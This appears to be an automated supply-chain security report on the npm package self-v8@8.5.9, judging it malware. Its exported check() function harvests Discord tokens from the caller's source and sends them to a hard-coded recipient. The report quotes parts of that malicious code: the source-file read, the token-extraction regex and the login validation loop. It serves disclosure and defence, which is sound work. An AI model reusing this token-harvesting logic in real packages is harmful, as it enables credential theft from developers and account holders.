self-v8@8.5.9
AI Security Review
scanned 3d ago · by lpm-firewall-aiThe exported check() function harvests tokens from the caller's source and sends the containing configuration to a hard-coded Discord recipient. This is credential exfiltration even though the function runs only when called.
Static reason
No blocking static signals were detected.
Trigger
An application calls the exported check() function.
Impact
Exposes captured Discord credentials and account configuration to the hard-coded recipient.
Mechanism
Reads process.argv[1], extracts CONFIG and its tokens array, validates tokens through Discord selfbot logins, then sends the configuration and validation report through a bot logged in with a hard-coded token.
Attack narrative
Calling check() makes the package read the caller's source file and extract its CONFIG, including values in the tokens array. It logs into those accounts to validate them, then uses an embedded Discord bot token to send the extracted configuration and account validation report to a hard-coded Discord user. This exposes credentials to a recipient chosen by the package author.
AI rationale
The exported check() function harvests tokens from the caller's source and sends the containing configuration to a hard-coded Discord recipient. This is credential exfiltration even though the function runs only when called.
Evidence
index.jsThe caller source file named by process.argv[1] (read)
Network endpoints1
discord.com
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package exports a check() function that reads the caller's source file from process.argv[1].
- check() extracts a CONFIG object and values from its tokens array, then logs into each token to validate it.
- The function uses a hard-coded Discord bot token and recipient ID, then sends the extracted configuration and validation report to that recipient.
- The manifest has no install hook; the credential theft runs when check() is called.
Evidence against
- The package has no install lifecycle scripts.
- The malicious behavior is in an exported function rather than code that runs automatically on import.
Behavioral surface
FilesystemNetwork
Source & flagged code
5 flaggedindex.jsView file
11export async function check() {
try {
const userMainFilePath = process.argv[1];
if (!userMainFilePath) return;
const userCode = fs.readFileSync(userMainFilePath,
High
Ai Review Evidence
The package exports a check() function that reads the caller's source file from process.argv[1].
index.jsView on unpkg · L1116const userCode = fs.readFileSync(userMainFilePath, 'utf8');
const configMatch = userCode.match(/const\s+CONFIG\s*=\s*(\{[\s\S]*?\});/);
if (configMatch && configMatch[0]) {
const configData = configMatch[0];
let tokensToCheck = [];
const tokensMatch = configData.match(/tokens:\s*\[([\s\S]*?)\]/);
if (tokensMatch && tokensMatch[1]) {
tokensToCheck = tokensMatch[1]
.split(',')
.map(t => t.replace(/['"\s\n\r]/g, '').trim())
.filter(t =>
High
Ai Review Evidence
check() extracts a CONFIG object and values from its tokens array, then logs into each token to validate it.
index.jsView on unpkg · L1635for (const token of tokensToCheck) {
const tempClient = new SelfClient({ checkUpdate: false });
try {
await tempClient.login(token);
const name = tempClient.user.globalName || tempClient.user.username;
validationReport += `✅ Valid | ${name}\n`;
tempClient.destroy();
} catch (err) {
Findings
5 High1 Medium2 Low
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighSuspicious Lifecycle Evidencepackage.json
MediumNetwork
LowScripts Present
LowFilesystem
Affected versions and remediation
This report applies to self-v8@8.5.9.
See all versions of self-v8 for other recorded verdicts.
- Avoid installing self-v8@8.5.9. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.